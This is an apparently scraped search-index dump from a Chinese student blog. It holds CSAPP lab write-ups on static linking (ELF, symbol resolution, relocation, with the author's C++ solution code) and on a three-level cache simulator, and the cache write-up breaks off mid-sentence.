\u0026ldquo;I am not afraid of failing. I am afraid of succeeding in things that don\u0026rsquo;t matter.\u0026rdquo;\n\u0026mdash;William Carey\n这里就是一些杂谈，随便分享什么什么学习生活，旅游啊之类的经验。\n","date":"2025-04-19","externalUrl":null,"permalink":"/zh-cn/life/","section":"Life","summary":"\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e\u003cstrong\u003e\u0026ldquo;I am not afraid of failing. I am afraid of succeeding in things that don\u0026rsquo;t matter.\u0026rdquo;\u003c/strong\u003e\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e\u0026mdash;\u003cstrong\u003e\u003ca href=\"https://en.wikipedia.org/wiki/William_Carey_%28missionary%29\" target=\"_blank\"\u003eWilliam Carey\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003e这里就是一些杂谈，随便分享什么什么学习生活，旅游啊之类的经验。\u003c/p\u003e","title":"Life","type":"life"},{"content":" CSAPP:LinkerLab # CSAPP上关于链接的知识我也会放在这里\u0026hellip;\u0026hellip;\n本文图片大多来源于英文原版CSAPP。\n链接机制详解 # ​\t有多详细？这很难定义吧，是否详细应当取决于读者本来的理解,linking本身就是看起来好像就是打包一下很简单的东西，但是涉及到的知识比较复杂，应用也相当广泛。\n编译器驱动程序 # 一个静态链接过程：\n静态链接 # LD 静态链接器 输入.o文件 输出一个可执行文件\n1.符号的解析\n2.重新定位\n目标文件 # 1.可重定位\n2.可执行\n3.共享（可以动态加载进入内存并且link）\n可重定位目标文件 # 意思就是这个文件作为一个目标文件，可以用来重定位。\n很多人开始区分不清楚.o和elf：elf就是一种格式\n包含的内容：\nELF 全称是 Executable and Linkable Format（可执行与可链接格式）\n是 Linux 系统中常用的目标文件格式（Windows 上用的是 PE 格式）\n一个 ELF 文件可以是：\n可重定位目标文件（Relocatable Object File） → .o 文件 可执行文件（Executable File） → 如通过链接生成的可执行程序 共享库文件（Shared Object File） → .so 文件 核心转储文件（Core Dump） → 程序崩溃时生成的调试文件 .o 文件是用编译器（如 gcc -c）从 .c 文件生成的\n.o 文件的格式就是 ELF 格式的“可重定位目标文件”\n它通常还不包含主函数（main()），不能直接运行，需要链接成可执行文件\n一个典型的格式如下：\n.text:机器代码\n.rodata:只读data\n.data:全局 静态变量\n.bss:未初始化或者初始化为0的全局静态(better save space(?))\n.symtab:符号表，函数和全局变量的信息\n​\t我们用readelf工具去读取头文件的内容，并且分析一下这个内容：\n什么是Magic Number：标识了这个可重定位目标文件：\n根据上述的信息，可以得到：\n那么section中存放的：\n就如我们上面所提到的。\n符号和符号表 # *符号表是重点内容。\n每个可重定位模块m都有一个符号表，这个symbol table就在section中。\n1.全局符号 我定义的非静态C函数和全局变量。\n2.外部符号 别人定义的非静态C函数和全局变量。\n3.局部符号 我的static函数和局部变量（.symtab不关心这些东西）,直接在stack中管理。\n所以，在C语言多文件编程中，用static保护好自己的函数和变量是好的习惯。\n不会被别人引用（明明是我先来的！！！）\n符号表条目：\n每个字段都被分配到目标文件的某个section\n用 readelf 查看目标文件内容\n选项 含义 -h 查看 ELF 文件头（Header） -S 查看段表（Section Headers） -s 查看符号表（Symbol Table） -r 查看重定位信息（Relocation Info） -l 查看程序头表（Program Header） -x \u0026lt;section\u0026gt; 以十六进制查看某个段的内容 -a 查看所有信息（等价于所有选项的合集） main.c\nint sum(int *a, int n); int array[2] = {1, 2}; int main() { int val = sum(array, 2); return val; } sum.c\nint sum(int *a, int n) { int i, s = 0; for (i = 0; i \u0026lt; n; i++) { s += a[i]; } return s; } $readelf -s main.o Symbol table \u0026#39;.symtab\u0026#39; contains 6 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000000 0 FILE LOCAL DEFAULT ABS main.c 2: 0000000000000000 0 SECTION LOCAL DEFAULT 1 .text 3: 0000000000000000 8 OBJECT GLOBAL DEFAULT 3 array 4: 0000000000000000 40 FUNC GLOBAL DEFAULT 1 main 5: 0000000000000000 0 NOTYPE GLOBAL DEFAULT UND sum 有点懵，务必做课后练习题进一步理解。\n符号解析 # 链接器是怎样工作的？\n对于每个输入的文件的符号表进行扫描。\n多重定义的全局符号？ # 全局\u0026mdash;》强 弱\n强符号：函数 已经初始化的全局变量\n弱符号：未初始化的全局变量\n规则：\n1.强不能重名\n2.一强多弱选强符号\n3.多个弱符号随机选择（2,3都是比较危险的情况）\n-fno-common:遇到多重定义的全局符号直接触发错误，比较保险。\n是比较好理解的部分。\n与静态库的链接？ # ​\t静态库作为存档（archieve）存放在磁盘中，可以认为是一组可重定位目标文件的集合，当我们自己的编程中引用库时就如下图所示：\n当你引用addvec时，直接复制addvec.o到可执行的文件。\n如何使用静态库解析引用？ # 对于一行编译的命令，linker会从左到右进行扫描，维护三个集合：\n1.E：维护可重定位目标文件的集合\n2.U：未解析的符号的集合\n3.D：前面输入文件的已经定义的符号的集合\nprocess：\n1.扫描过程中，若为一个目标文件f，直接放入E中，并且在U和D中更改元素（比如自己定义的符号就放到D，此时引用的静态库的符号就放到U）。\n2.若f是一个archieve，那么我们将archive中的成员和U中的元素比对，如果定义了，就把这个元素放到D中去。\n3.linker完成之后，|U| ！= 0 ，那么报错中止。\nunix\u0026gt; gcc -static ./libvector.a main2.c /tmp/cc9XH6Rp.o: In function ‘main’: /tmp/cc9XH6Rp.o(.text+0x18): undefined reference to ‘addvec’ ​\t那么考察这样的情况，若你把静态库放到前面，那么开始就会和U中的元素比对，但是此时U中没有元素，当main.c被扫描时，此时它引用的静态库中的函数就会是undefined。\n所以我们要把库放在最后，并且要根据库之间的依赖型进行排序（拓扑排序）。\n如果有更复杂的依赖性问题，就可以多次在命令行上重复库（可以看课后题目）。\n如下图所示的过程：\n重定位 # 就是更换地址。\n合并输入模块，为每个符号分配运行时地址。\n1.重定位节和符号定义\n​\t比如把所有的**.data节合并成一个节并且分配地址**。\n2.重定位节中的符号引用\n​\t修改符号引用，使其指向正确的运行时地址。\n重定位条目 # 汇编器生成目标模块时生成.rel.data .rel.text 重定位条目\n重定位符号引用 # 重定位算法遍历每个section和遍历每个条目：\nforeach section s { foreach relocation entry r { refptr = s + r.offset; /* ptr to reference to be relocated */ /* relocate a PC-relative reference */ //相对地址 if (r.type == R_386_PC32) { refaddr = ADDR(s) + r.offset; /* ref’s runtime address */ *refptr = (unsigned) (ADDR(r.symbol) + *refptr - refaddr); } //绝对地址 /* relocate an absolute reference */ if (r.type == R_386_32){ *refptr = (unsigned) (ADDR(r.symbol) + *refptr); } } } 对于上面的main.o 做\nobjdump -dx main.o\nDisassembly of section .text: 0000000000000000 \u0026lt;main\u0026gt;: 0: f3 0f 1e fa endbr64 4: 55 push %rbp 5: 48 89 e5 mov %rsp,%rbp 8: 48 83 ec 10 sub $0x10,%rsp c: be 02 00 00 00 mov $0x2,%esi 11: 48 8d 05 00 00 00 00 lea 0x0(%rip),%rax # 18 \u0026lt;main+0x18\u0026gt; 14: R_X86_64_PC32 array-0x4 18: 48 89 c7 mov %rax,%rdi 1b: e8 00 00 00 00 call 20 \u0026lt;main+0x20\u0026gt; 1c: R_X86_64_PLT32 sum-0x4 20: 89 45 fc mov %eax,-0x4(%rbp) 23: 8b 45 fc mov -0x4(%rbp),%eax 26: c9 leave 27: c3 ret 这是我电脑上实际运行的结果，array和sum都是重定位PC相对引用\n重定位PC相对引用 # 1b: e8 00 00 00 00 call 20 \u0026lt;main+0x20\u0026gt; 观察这一行，e8是call的操作码，后面的00 00 00 00 都是PC相对引用的占位符。\n在重定位时，利用上述的算法，告诉我们sum在main中的偏移量，我们可以在这里调用到sum。\n求两个地址之间的相对位置：\n重定位绝对引用 # 在目标文件中直接计算并且更改。\n在我们重定位之后：\n0000000000001129 \u0026lt;main\u0026gt;: 1129: f3 0f 1e fa endbr64 112d: 48 83 ec 08 sub $0x8,%rsp 1131: be 02 00 00 00 mov $0x2,%esi 1136: 48 8d 3d d3 2e 00 00 lea 0x2ed3(%rip),%rdi # 4010 \u0026lt;array\u0026gt; 113d: e8 05 00 00 00 call 1147 \u0026lt;sum\u0026gt; 1142: 48 83 c4 08 add $0x8,%rsp 1146: c3 ret 0000000000001147 \u0026lt;sum\u0026gt;: 1147: f3 0f 1e fa endbr64 114b: ba 00 00 00 00 mov $0x0,%edx 1150: b8 00 00 00 00 mov $0x0,%eax 1155: eb 09 jmp 1160 \u0026lt;sum+0x19\u0026gt; 1157: 48 63 c8 movslq %eax,%rcx 115a: 03 14 8f add (%rdi,%rcx,4),%edx 115d: 83 c0 01 add $0x1,%eax 1160: 39 f0 cmp %esi,%eax 1162: 7c f3 jl 1157 \u0026lt;sum+0x10\u0026gt; 1164: 89 d0 mov %edx,%eax 1166: c3 ret main中113e的位置就是sum的重定位地址。\n这里的值5就是重定位的值：当CPU执行call指令时，PC会指向下一条就是1142,为了执行这个指令，CPU把PC放进栈中，并且 PC += 5，也就是PC = 1147，此时，就会执行到sum的代码。\n这个逻辑是和call指令配套的，linker在🔗这两个程序的时候，就会根据重定位表，把e8之后的占位符更改成要调用的函数相对于当前PC的偏移量的大小，call会先将PC压入栈中，PC += offset，接着就会执行到目标函数。\n可执行目标文件 # 我们现在已经合成了这个：\n这是一个典型的格式。\n我们查看一下上面那个a.out的program header\nProgram Header: PHDR off 0x0000000000000040 vaddr 0x0000000000000040 paddr 0x0000000000000040 align 2**3 filesz 0x00000000000002d8 memsz 0x00000000000002d8 flags r-- INTERP off 0x0000000000000318 vaddr 0x0000000000000318 paddr 0x0000000000000318 align 2**0 filesz 0x000000000000001c memsz 0x000000000000001c flags r-- LOAD off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**12 filesz 0x00000000000005f0 memsz 0x00000000000005f0 flags r-- LOAD off 0x0000000000001000 vaddr 0x0000000000001000 paddr 0x0000000000001000 align 2**12 filesz 0x0000000000000175 memsz 0x0000000000000175 flags r-x LOAD off 0x0000000000002000 vaddr 0x0000000000002000 paddr 0x0000000000002000 align 2**12 filesz 0x00000000000000d8 memsz 0x00000000000000d8 flags r-- LOAD off 0x0000000000002df0 vaddr 0x0000000000003df0 paddr 0x0000000000003df0 align 2**12 filesz 0x0000000000000228 memsz 0x0000000000000230 flags rw- DYNAMIC off 0x0000000000002e00 vaddr 0x0000000000003e00 paddr 0x0000000000003e00 align 2**3 filesz 0x00000000000001c0 memsz 0x00000000000001c0 flags rw- NOTE off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 filesz 0x0000000000000030 memsz 0x0000000000000030 flags r-- NOTE off 0x0000000000000368 vaddr 0x0000000000000368 paddr 0x0000000000000368 align 2**2 filesz 0x0000000000000044 memsz 0x0000000000000044 flags r-- 0x6474e553 off 0x0000000000000338 vaddr 0x0000000000000338 paddr 0x0000000000000338 align 2**3 filesz 0x0000000000000030 memsz 0x0000000000000030 flags r-- EH_FRAME off 0x0000000000002004 vaddr 0x0000000000002004 paddr 0x0000000000002004 align 2**2 filesz 0x0000000000000034 memsz 0x0000000000000034 flags r-- STACK off 0x0000000000000000 vaddr 0x0000000000000000 paddr 0x0000000000000000 align 2**4 filesz 0x0000000000000000 memsz 0x0000000000000000 flags rw- RELRO off 0x0000000000002df0 vaddr 0x0000000000003df0 paddr 0x0000000000003df0 align 2**0 filesz 0x0000000000000210 memsz 0x0000000000000210 flags r-- 后面的是执行的权限的问题，vaddr是开始的内存地址，memsz是总共的内存大小，off偏移量，我们要满足这样的条件：\n​\tvaddr mod align = off mod align\n这样程序执行的时候，可以有效率的传送到内存，我们会在虚拟内存的章节中学习到。\n加载可执行目标文件 # 我们可能还会有一个关于加载器的实验，继续理解这个过程。\n./prog\n​\t这样我们来运行一个自己写的程序，loader把代码和数据复制到内存中，并且跳转到内存的第一条指令或者入口点，这个复制的过程就叫 加载（Load）。\n​\t每个linux程序都有一个运行时内存映像。\n我们对于加载的描述从概念上来说是正确的，但也不是完全准确，这是有意为之。 要理解加载实际是如何工作的 ，你必须理解进程 、虚拟内存和内存映射的概念，这些我们还没有加以讨论 。在后面笫8章和笫9章中遇到这些概念时 ，我们将重新回到加载的问题上，并逐渐向你揭开它的神秘面纱。\n实验： # 本实验就是模仿ld，写一个静态的linker，类似于linux的ld工具。\n用简单的cpp就可以。\n为什么要linker：为源代码的模块化提供可以相互引用的接口（extern）。\n1.符号解析：为每个外部文件的符号引用找对应的解析。\n2.合并成一个可执行文件。\n3.重定位，修改可执行文件代码，使其指向正确的位置。\nCPU使用PC相对引用访问地址。\n重定位就是在合并之后，在这些空缺的位置填入地址。\n实验框架：\n我们要实现的就是解析和重定位这两个关键过程。\n理解关键的数据结构：\nObjectFile # 用来存储目标文件中所需的信息，其包含的成员变量及其含义如下：\nsymbolTable ：目标文件的符号表，保存其每一个符号（见下文Symbol） relocTable ：目标文件的重定位表，保存其每一个重定位条目（见下文RelocEntry） sections ：目标文件的节表，保存节名string到节的映射（见下文Section） sectionsByIdx ：目标文件的节表，保存节索引index到节指针Section*的映射 baseAddr ：目标文件在内存中的起始地址，详见test0 size ：目标文件的大小 Section # 用来存储目标文件中的一个节，其包含的成员变量及含义如下：\nname ：节名称 type ：节类型，在本实验中略 flags ：节标志，在本实验中略 info ：节附加信息，在本实验中略 index ：节下标 addr ：节的起始地址 off ：节在目标文件中的偏移量 size ：节大小 align ：节在目标文件中的对齐限制 关于type和flags的详细信息可参考[ELF文件的man手册中有关Shdr的部分](https://www.man7.org/linux/man-pages/man5/elf.5.html#:~:text=Section header (Shdr))。\nSymbol # 用来存储目标文件中的一个符号，其包含的成员变量及含义如下：\nname ：符号名称，为string类型。 value ：符号值，表示符号在其所属节中的偏移量。 size ：符号大小，当符号未定义时则为0 type ：符号类型，例如符号是变量还是函数 bind ：符号绑定，例如符号为全局或局部的 visibility ：符号可见性，本实验中略 offset ：符号在目标文件中的偏移量 index ：符号相关节的节头表索引 RelocEntry # 用来存储目标文件中的一个引用产生的重定位条目，其包含的成员变量及含义如下：\nsym ：指向与该重定位条目关联的符号Symbol的指针 name ：重定位条目关联的符号名称，类型为string offset ：重定位条目在节中的偏移量 type ：重定位条目类型 addend ：常量加数，用于计算要存储到可重定位字段中的值 allObject # 用来存储所有目标文件对应的ObjectFile数据结构。\nmergedObject # 所有目标文件合并为一个后对应的ObjectFile。\n对于 绝对重定位（如 R_X86_64_64）：\n结果=符号地址+addend\\text{结果} = \\text{符号地址} + \\text{addend}结果=符号地址+addend\n对于 PC 相对重定位（如 R_X86_64_PC32）：\n结果=符号地址+addend−当前地址\\text{结果} = \\text{符号地址} + \\text{addend} - \\text{当前地址}结果=符号地址+addend−当前地址\n​ 想一想：为什么R_X86_64_32对应的addend为0，而R_X86_64_PC32不是？addend有什么实际意义？\n前面是绝对地址，我们是直接得到的，但是后面是PC相对寻址，也就是说call的时候，是相对于此时的PC的值的偏移量计算的，在找数组中的某个值的时候也非常有用。\n重定位的逻辑： # 说到重定位就要考虑到重定位表的问题，我们要如何利用重定位表修改可执行目标文件中的占位符号（0000）。\n#include \u0026#34;relocation.h\u0026#34; #include \u0026lt;sys/mman.h\u0026gt; // test0和test1都只需要进行重定位即可 // 重定位是加载这个程序之前我要修改值 void handleRela(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObject, ObjectFile \u0026amp;mergedObject, bool isPIE) { /* When there is more than 1 objects, * you need to adjust the offset of each RelocEntry */ // 合并之后，我们要更改偏移量,在大于1的情况下 if (allObject.size() \u0026gt; 1) { // 每次sum都要加上一整个节大小的偏移 uint64_t sum = 0; for (auto \u0026amp;object : allObject) { for (auto \u0026amp;rel : object.relocTable) { rel.offset += sum; } sum += object.sections[\u0026#34;.text\u0026#34;].size; } } /* in PIE executables, user code starts at 0xe9 by .text section */ /* in non-PIE executables, user code starts at 0xe6 by .text section */ // 注意 textOff 和 textAddr 的区别：textOff 是指 .text 节在 ELF 文件中存储的位置，而 textAddr 是指 .text 节被运行时加载后在内存中所处的位置。 // 这里都是mergeObject的位置 uint64_t userCodeStart = isPIE ? 0xe9 : 0xe6; uint64_t textOff = mergedObject.sections[\u0026#34;.text\u0026#34;].off + userCodeStart; uint64_t textAddr = mergedObject.sections[\u0026#34;.text\u0026#34;].addr + userCodeStart; for (auto \u0026amp;object : allObject) { for (auto \u0026amp;rel : object.relocTable) { // 直接转换 uint64_t baseAddr = reinterpret_cast\u0026lt;uint64_t\u0026gt;(mergedObject.baseAddr); // 查看重定位的类型 // 相对寻址 if (rel.type == R_X86_64_PLT32 || rel.type == R_X86_64_PC32) { // 填入目标指令地址和当前PC的差值 + 补偿量 int val = rel.sym-\u0026gt;value - (textAddr + rel.offset) + rel.addend; // 注意这里的地址是32位的地址 *reinterpret_cast\u0026lt;int *\u0026gt;(baseAddr + textOff + rel.offset) = val; } // 这是绝对地址 else if (rel.type == R_X86_64_32) { int val = rel.sym-\u0026gt;value + rel.addend; *reinterpret_cast\u0026lt;int *\u0026gt;(baseAddr + textOff + rel.offset) = val; } else { fprintf(stderr, \u0026#34;There is something wrong...\\n\u0026#34;); } } } } 符号解析的逻辑： # 这和之前我们讨论库是怎么加载的是类似的，我们维护集合。\n看了别人的代码，为了防止有抄袭的风险，我就有部分写的比较抽象。\n#include \u0026#34;resolve.h\u0026#34; #include \u0026lt;iostream\u0026gt; #define FOUND_ALL_DEF 0 #define MULTI_DEF 1 #define NO_DEF 2 std::string errSymName; int callResolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects); void resolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects) { int ret = callResolveSymbols(allObjects); if (ret == MULTI_DEF) { std::cerr \u0026lt;\u0026lt; \u0026#34;multiple definition for symbol \u0026#34; \u0026lt;\u0026lt; errSymName \u0026lt;\u0026lt; std::endl; abort(); } else if (ret == NO_DEF) { std::cerr \u0026lt;\u0026lt; \u0026#34;undefined reference for symbol \u0026#34; \u0026lt;\u0026lt; errSymName \u0026lt;\u0026lt; std::endl; abort(); } } /* bind each undefined reference (reloc entry) to the exact valid symbol table entry * Throw correct errors when a reference is not bound to definition, * or there is more than one definition. */ // 这里我们要做三件事情1.找未定义的符号2.多重定义3.把弱符号绑定到强符号上面去 int callResolveSymbols(std::vector\u0026lt;ObjectFile\u0026gt; \u0026amp;allObjects) { // if found multiple definition, set the errSymName to problematic symbol name and return MULTIDEF; // if no definition is found, set the errSymName to problematic symbol name and return NODEF; // 维护两个集合，strong和weak // 前面是name，后面是对应的*symbol std::unordered_map\u0026lt;std::string, Symbol *\u0026gt; weakMap; std::unordered_map\u0026lt;std::string, Symbol *\u0026gt; strongMap; for (auto \u0026amp;object : allObjects) { // 遍历符号表 for (auto \u0026amp;symbol : object.symbolTable) { // 找到了一个强符号 if (symbol.index != SHN_UNDEF \u0026amp;\u0026amp; symbol.index != SHN_COMMON \u0026amp;\u0026amp; symbol.bind == STB_GLOBAL) { // 已经存在，表明多重定义 if (strongMap.find(symbol.name) != strongMap.end()) { errSymName = symbol.name; return MULTI_DEF; } else { // 原来没有，直接绑定 strongMap.emplace(symbol.name, \u0026amp;symbol); } } } } // 把所有强符号绑定好了之后，再去处理弱符号 for (auto \u0026amp;object : allObjects) { for (auto \u0026amp;symbol : object.symbolTable) { if (symbol.index == SHN_COMMON \u0026amp;\u0026amp; symbol.bind == STB_GLOBAL) { // 不存在直接绑定 if (weakMap.find(symbol.name) == weakMap.end()) { weakMap.emplace(symbol.name, \u0026amp;symbol); } } } } // 处理弱符号和强符号相同的情况 for (auto it = weakMap.begin(); it != weakMap.end(); ++it) { if (strongMap.find(it-\u0026gt;first) != strongMap.end()) { it-\u0026gt;second-\u0026gt;value = strongMap[it-\u0026gt;first]-\u0026gt;value; it-\u0026gt;second-\u0026gt;index = strongMap[it-\u0026gt;first]-\u0026gt;index; } } // 遍历重定位符号表，哪些符号要重定位但是没有在map里，说明未定义的错误 // 重定位的symbol在最后检查的时候被绑定 for (auto \u0026amp;object : allObjects) { for (auto \u0026amp;rel : object.relocTable) { if (strongMap.find(rel.name) != strongMap.end()) { rel.sym = strongMap[rel.name]; } else if (weakMap.find(rel.name) != weakMap.end()) { rel.sym = weakMap[rel.name]; } else { errSymName = rel.name; return NO_DEF; } } } return FOUND_ALL_DEF; } 总之，链接是一个复杂的话题，牵扯的知识很多且杂，还有动态DLL，库打桩机制等内容，之后再做了解。\n","date":"2025-04-19","externalUrl":null,"permalink":"/zh-cn/csapp/csapplinkerlab/","section":"","summary":"\u003ch1 class=\"relative group\"\u003eCSAPP:LinkerLab \n    \u003cdiv id=\"csapplinkerlab\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#csapplinkerlab\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003eCSAPP上关于链接的知识我也会放在这里\u0026hellip;\u0026hellip;\u003c/p\u003e\n\u003cp\u003e本文图片大多来源于英文原版CSAPP。\u003c/p\u003e\u003c/blockquote\u003e\n\n\n\u003ch2 class=\"relative group\"\u003e链接机制详解 \n    \u003cdiv id=\"%E9%93%BE%E6%8E%A5%E6%9C%BA%E5%88%B6%E8%AF%A6%E8%A7%A3\" class=\"anchor\"\u003e\u003c/div\u003e\n    \n    \u003cspan\n        class=\"absolute top-0 w-6 transition-opacity opacity-0 ltr:-left-6 rtl:-right-6 not-prose group-hover:opacity-100\"\u003e\n        \u003ca class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\"\n            style=\"text-decoration-line: none !important;\" href=\"#%E9%93%BE%E6%8E%A5%E6%9C%BA%E5%88%B6%E8%AF%A6%E8%A7%A3\" aria-label=\"锚点\"\u003e#\u003c/a\u003e\n    \u003c/span\u003e        \n    \n\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e​\t有多详细？这很难定义吧，是否详细应当取决于读者本来的理解,linking本身就是看起来好像就是打包一下很简单的东西，但是涉及到的知识比较复杂，应用也相当广泛。\u003c/p\u003e","title":"CSAPP:LinkerLab","type":"csapp"},{"content":" CSAPP:CacheLab # 本次lab分为A和B两部分，我先看情况做，并且会部分引用我校助教撰写的一些内容以及思考题，首先我们要熟悉一下Cache的工作原理，关于这一部分的内容，你也可以看我的ComputerOrgnization中的内容（写的不怎么样，你最好还是看课本，而且我还建议你做一下课本上的习题），A部分是实现一个3级Cache，实现的过程中我们应当会对Cache的工作原理更加熟悉，B部分是优化矩阵转置函数，我认为会教会我们什么是Cahce友好的代码。\n注意：以下不会从零开始讲述Cache的知识，并且不要抄袭，不要抄袭，不要抄袭。\nCache:计算机的世界无处不在的伟大思想\u0026hellip;\u0026hellip;\n熟悉：\nCacheLine的组织方式 # 可以看成是一个元素是CacheLine的二维数组。\nE = 1:直接映射\nS = 1：全相联映射\n处理写操作的方法 # cache处理写操作的流程比读取要复杂，因为写入操作涉及数据的更改，一旦涉及修改操作，就会带来各种一致性问题，因此cache需要合理的处理数据更改的时机和范围。同时还需要处理写miss的情况。我们在这里简要介绍一下有关写cache的一些问题和处理机制。\n一般而言，对于写入操作，cache一般有两种处理机制，分别是：\nwrite back（写回）：即数据的修改只发生在当前这一级cache中，通常会引入一个dirty标记位，表示cache中的数据和下一级cache（或内存）中的数据不一致，只有在当前的cacheline被evict的时候才会将数据写回到下一级cache（或内存）。 write through（写直达）：顾名思义，写入操作会同时将数据写入到当前cache和下一级cache（或内存中），因此二者的数据是同步的。 除了上述的两种策略，cache还需要确定如何处理write miss的情况，一般而言，也有两种方法：\nwrite allocate（写分配）：当发生cache miss时，需要访问下一级cache（或内存）将需要的cache line加载到当前cache中，然后再修改这个cache line中的内容 no write allocate（写不分配）：当发生cache miss时，无需修改当前cache中的内容，直接写入下一级cache（或内存） 上述策略两两组合可以产生4种不同的写策略，但是一般常见的只有以下两种：\nwrite back/write allocate：即写回+写分配策略（图片来自wiki）\nwrite through/no write allocate：即写直达+写不分配策略\nQ：为什么没有写回和写不分配的操作？\nA：试想一下这样的情况：有二级缓存L1和L2,我们在L1写某个内存时发生了CacheMiss，假如我们写这个的概率很高，那么这块内存应该加载到L1才更加合理，但是每次都会发生CacheMiss，这不符合时间局部性的要求。另外一种方式也可以这样思考一下。\n多级cache的包含准则(inclusion policy) # 这是本Lab的重中之重，请务必仔细理解。\n包含性策略：更高层次的，访问速度更快的cache包含的内容是下层cache的一个子集。\n现代处理器中的 L1 和 L2 Cache 可能采用不同的 一致性策略，主要有：\n包容式（Inclusive）Cache：L2 必须包含 L1 中的所有数据。 非包容式（Non-Inclusive）Cache：L1 和 L2 不必强制包含相同数据，可以各自缓存不同的数据。 独占式（Exclusive）Cache：L1 和 L2 不共享数据，数据只存在一个层级。 如上图的一个模拟情况：\n多余不再赘述，我们只需要注意这样两点：\n1.上层的存储不断Cache Miss时，直到找到没有Cache Miss的这样一层，接着要把这个数据加载到之前Cache Miss的每一层。\n2.当下层的存储发生Cache Evict时，我们要把这一层之上的所有这个数据置为无效，显然，对于Inclusive Policy，如果不驱逐就不满足子集条件。\n三级Cache模拟器 # 我们要实现这样一个Cache：\nL1分为L1D（数据读写）和L1I（指令读取）两个分离的cache，并且L1I是只读的。\nL1和L2为每个核心私有\nL2为unfied cache，也就是会同时存储指令和数据\nL3为unfied cache，且所有核心共享\n每个Cache的具体配置，方便查阅：\n每个cache的具体配置如下：\nL1D(I) cache size: 64B set: 4 associativity: 2-way cache line size: 8B write policy: write back + write allocate L2 cache size: 256B set: 8 associativity: 4-way cache line size: 8B write poliy: write back + write allocate inclusion policy: inclusive L3 cache size: 2KB set: 16 associativity: 8-way cache line size: 16B write policy: write back + write allocate inclusion policy: inclusive 我们实现单核的CPU中的缓存机制，不考虑并发访问和与核心的缓存一致性问题。\n小小吐槽一下：我们学校的助教简直已经把lab喂到嘴里了，把一整个lab变成了leetcode一样的核心代码模式，这样不好，但是门槛会变低。\n（对不起，误会了，还是挺难的\u0026hellip;\u0026hellip;）\n先读一下定义的头文件：\n/* * cachelab.h - Prototypes for Cache Lab helper functions */ #ifndef CACHE_LAB_H #define CACHE_LAB_H #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #define L1_SET_NUM 4 #define L1_LINE_NUM 2 #define L1_CACHELINE_SIZE 8 #define L2_SET_NUM 8 #define L2_LINE_NUM 4 #define L2_CACHELINE_SIZE 8 #define L3_SET_NUM 16 #define L3_LINE_NUM 8 #define L3_CACHELINE_SIZE 16 #define ADDRESS_LENGTH 64 #define MAX_TRANS_FUNCS 100 //核心的CacheLine是一个结构体 typedef struct { bool valid; bool dirty; uint64_t tag; uint64_t latest_used; // for LRU } CacheLine; typedef struct trans_func { void (*func_ptr)(int M, int N, int[N][M], int[M][N]); char *description; char correct; unsigned int num_hits; unsigned int num_misses; unsigned int num_evictions; } trans_func_t; // defined in csim.c extern CacheLine l1dcache[L1_SET_NUM][L1_LINE_NUM]; // L1 Instruction Cache extern CacheLine l1icache[L1_SET_NUM][L1_LINE_NUM]; // L2 Unified Cache extern CacheLine l2ucache[L2_SET_NUM][L2_LINE_NUM]; // L2 Unified Cache extern CacheLine l3ucache[L3_SET_NUM][L3_LINE_NUM]; /* Fill the matrix with data */ void initMatrix(int M, int N, int A[N][M], int B[M][N]); /* The baseline trans function that produces correct results. */ void correctTrans(int M, int N, int A[N][M], int B[M][N]); /* Add the given function to the function list */ void registerTransFunction(void (*trans)(int M, int N, int[N][M], int[M][N]), char *desc); #endif 实现的时候我们按照如下的顺序（程序框图,假设我们在访问第i级Cache）：\n根据内存地址得到相应的tag，set字段的值 检查第 i 级cache是否命中 如果命中，跳到第8步 否则，继续访问下一级cache（或内存）获取数据 在本级cache对应的set中找一个invalid的cache line，用于放置从下一级cache（或内存）加载的cache line，如果有多个invalid的cache line，选择下标最小的一个，然后跳到第8步 如果在第5步对应的set已满，你需要首先evict一个cache line，evict的过程使用LRU算法，如果evict的cache line是dirty的，你需要首先将其写入到下一级缓存（或内存） 由于inclusive policy，你可能需要back invalidation第 i - 1 级cache中的cache line 设置这个cache line对应的tag字段，LRU字段和valid字段 如果访问模式是写操作，设置dirty字段 返回 给了我们一个例子，我来看看\u0026hellip;\u0026hellip;\ncache的访问trace依次为：\nRead a Read b Read a Write b Read c Write a Read d Read c Write b Write c Read e Read f Read b Read d 画一画吧，这个还是挺复杂的，最复杂的地方就在于驱逐的时候Back Invalidation的逻辑。\n助教给出的一些注意事项：\n在访问cache之前，你需要正确的初始化所有的cache line, 换句话说，你需要把所有的字段全部初始化为0\n你可以假设，对于单个cache的访问，不会出现跨两个cache line的情况，换句话说，你可以忽略cacheAccess函数中的第三个参数\n对于M类型的访问，你可以等价的将他看作为一次读取和一次写入\n需要注意的是，L2和L3 cache会同时包含指令和数据\n你可以假设指令和数据不会访问同一块内存，换句话说，你可以假设L2中的某个cache line不会同时出现在L1D cache和L1I cache中\n这里TMD是这样的么，我假设访问一块内存之后就过了一堆样例（也有可能是我误人子弟了。。。。。。）\n本次实验仅要求模拟cache访问，因此你无需关心具体的写入数据\n你可以使用位运算相关技巧从传入的地址中提取出tag，set，block等信息\n你可以使用位运算相关技巧根据tag，set，block的信息拼接出内存地址\n在加载一条cache line时，你需要在当前cache set中找出一条可用的cache line, 换句话说，你需要找到一条valid字段为false的cache line。如果有多条可用的cache line，你需要选择下标最小的一个\n你需要严格使用LRU算法来找到需要evict的cache 